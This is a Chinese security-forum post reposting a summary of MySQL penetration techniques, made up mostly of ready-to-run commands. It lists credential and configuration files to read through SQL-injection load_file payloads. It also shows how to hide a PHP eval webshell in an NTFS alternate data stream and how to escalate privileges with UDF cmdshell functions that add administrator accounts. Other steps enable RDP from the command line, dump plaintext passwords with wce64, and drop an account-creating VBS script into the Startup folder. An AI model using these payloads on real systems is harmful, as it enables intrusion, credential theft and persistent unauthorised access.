安全矩阵

 找回密码
 立即注册
搜索
查看: 2208|回复: 0

Mysql渗透技巧总结

[复制链接]

252

主题

252

帖子

1307

积分

金牌会员

Rank: 6Rank: 6

积分
1307
发表于 2022-5-16 00:49:40 | 显示全部楼层 |阅读模式
原文链接:Mysql渗透技巧总结

1.常见的有助于渗透到mysql函数

在对MySQL数据库架构的渗透中,MySQL内置的函数DATABASE()、USER()、SYSTEM_USER()、SESSION_USER()和CURRENT_USER()可以用来获取一些系统的信息,而load_file()作用是读入文件,并将文件内容作为一个字符串返回,这在渗透中尤其有用,例如发现一个php的SQL注入点,则可以通过构造“-1 union select 1,1,1,1,load_file('c:/boot.ini')”来获取boot.ini文件的内容。

(1)一些常见的系统配置文件


  1. c:/boot.ini //查看系统版本
  2. c:/windows/php.ini //php配置信息
  3. c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
  4. c:/winnt/php.ini
  5. c:/winnt/my.ini
  6. c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
  7. c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
  8. c:\Program Files\Serv-U\ServUDaemon.ini
  9. c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
  10. c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
  11. c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
  12. c:\Program Files\RhinoSoft.com\ServUDaemon.exe
  13. C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
  14. //存储了pcAnywhere的登陆密码
  15. c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件
  16. c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.
  17. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
  18. d:\APACHE\Apache2\conf\httpd.conf
  19. C:\Program Files\mysql\my.ini
  20. C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
复制代码
LUNIX/UNIX 下:
  1. /usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件  
  2. /usr/local/apache2/conf/httpd.conf  
  3. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置  
  4. /usr/local/app/php5/lib/php.ini //PHP相关设置
  5. /etc/sysconfig/iptables //从中得到防火墙规则策略  
  6. /etc/httpd/conf/httpd.conf // apache配置文件  
  7. /etc/rsyncd.conf //同步程序配置文件  
  8. /etc/my.cnf //mysql的配置文件  
  9. /etc/redhat-release //系统版本  
  10. /etc/issue  
  11. /etc/issue.net  
  12. /usr/local/app/php5/lib/php.ini //PHP相关设置
  13. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置  
  14. /etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件  
  15. /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看  
  16. /usr/local/resin-pro-3.0.22/conf/resin.conf 同上  
  17. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看  
  18. /etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件  
  19. /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看  
  20. /usr/local/resin-pro-3.0.22/conf/resin.conf 同上  
  21. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看  
  22. /etc/sysconfig/iptables 查看防火墙策略
  23. load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
  24. replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
  25. replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
复制代码
(2)直接读取配置文件
  1. SELECT LOAD_FILE('/etc/passwd' )
  2. SELECT LOAD_FILE('/etc/issues' )
  3. SELECT LOAD_FILE('/etc/etc/rc.local' )
  4. SELECT LOAD_FILE('/usr/local/apache/conf/httpd.conf' )
  5. SELECT LOAD_FILE('/etc/nginx/nginx.conf' )
复制代码

(3)Linux下通过load_file函数读出来的数据库有可能是hex编码,要正常查看需要使用NotePad将将以上代码全部选中,然后选择插件“Converter”-“HEX-ASCII”进行转换。

2. Windows下MySQL提权时无法创建目录解决办法及数据流隐藏Webshell

NTFS中的ADS(交换数据流)可以建立目录,隐藏webshell等等。

(1) Mysql创建目录

当MySQL版本较高时,自定义函数的dll需要放在mysql目录下的lib\plugin\。一般普通的脚本是没有在这个文件夹下创建文件夹的权限的。这里可以用到ads来突破:

  1. select 'xxx' into outfile 'D:\\mysql\\lib::$INDEX_ALLOCATION';
复制代码

会在mysql目录下生成一个lib目录,这样你就可以将你的udf放在这个插件目录下了。

(2)隐藏webshell

在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这样子搞:

  1. echo ^<?php @eval(request[xxx])? ^>> index.php:a.jpg
复制代码

这样子就生成了一个不可见的shell a.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个a.jpg的。我们可以在另外一个正常文件里把这个ADS文件include进去,这样子就可以正常解析我们的一句话了。

3.有用的一些技巧

(1)3389端口命令行下获取总结

  1. netstat -an |find "3389" 查看3389端口是否开放
  2. tasklist /svc | find "TermService" 获取对应TermService的PID号
  3. netstat -ano | find '1340' 查看上面获取的PID号对应的TCP端口号
复制代码
(2)Windows 2008Server命令行开启3389
  1. wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
  2. wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1
  3. reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
复制代码

(3)wce64 -w 命令直接获取系统明文登录密码

(4)在phpinfo中查找SCRIPT_FILENAME关键字获取真实路径

(5)Linux终端提示符下查看mysql有关信息,ps -ef|grep mysql

(6)Linux下启动mysql服务: service mysqld start

(7)Linux下查看mysqld是否启动:ps -el | grep mysqld

(8)查看mysql在哪里:whereis mysql

(9)查询运行文件所在路径 which mysql

(10)udf.dll提权常见函数

  • cmdshell 执行cmd;
  • downloader 下载者,到网上下载指定文件并保存到指定目录;
  • open3389 通用开3389终端服务,可指定端口(不改端口无需重启);
  • backshell 反弹Shell;
  • ProcessView 枚举系统进程;
  • KillProcess 终止指定进程;
  • regread 读注册表;
  • regwrite 写注册表;
  • shut 关机,注销,重启;
  • about 说明与帮助函数;

具体用户示例:

  1. select cmdshell('net user iis_user 123!@#abcABC /add');
  2. select cmdshell('net localgroup administrators iis_user /add');
  3. select cmdshell('regedit /s d:web3389.reg');
  4. select cmdshell('netstat -an');

复制代码

4.一些常见的Mysql命令

(1)连接到mysql 服务器

  1. mysql -h 192.168.0.1 -u root -pantian365.com antian365
复制代码
(2)查看所有数据库
  1. show databases;
复制代码
(3)使用某个数据库
  1. use testdatabase;
复制代码
(4)查看数据库中的所有表
  1. show tables;
复制代码
(5)在test数据库下创建一个新的表
  1. create table a (cmd text);
复制代码
(6)在表中插入内容添加用户命令
  1. insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );  
  2. nsert into a values ("a=wshshell.run (""cmd.exe /c net user 1 1/add"",0) " );  
  3. insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators 1 /add"",0) ");
复制代码
(7)查询a表中所有的数据
  1. select * from a
复制代码
(8)导出数据到系统某个目录下
  1. select * from a into outfile "c:\\docume~1\\alluse~1\\「开始」菜单\\程序\\启动\\a.vbs";
复制代码
(9)查询数据库数据路径
  1. select @@datadir;
复制代码
(10)查看所有dir路径
  1. SHOW VARIABLES WHERE Variable_Name LIKE "%dir"
复制代码
(11)查看插件路径
  1. show variables like '%plugins%' ;
复制代码
(12)查询MYSQL安装路径
  1. select @@basedir
复制代码
(13)常用内置函数
  1. select system_user() 查看系统用户
  2. select current_user() 查询当前用户
  3. select user(); 查询用户
  4. SELECT version() 查询数据库版本
  5. SELECT database() 查询当前连接的数据库
  6. select @@version_compile_os 查询当前操作系统
  7. select now(); 显示当前时间
复制代码
(14)获取表结构
  1. desc 表名 或者show columns from 表名
复制代码
(15)删除表


  1. drop table <表名>
复制代码




























回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 07:32 , Processed in 0.015153 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表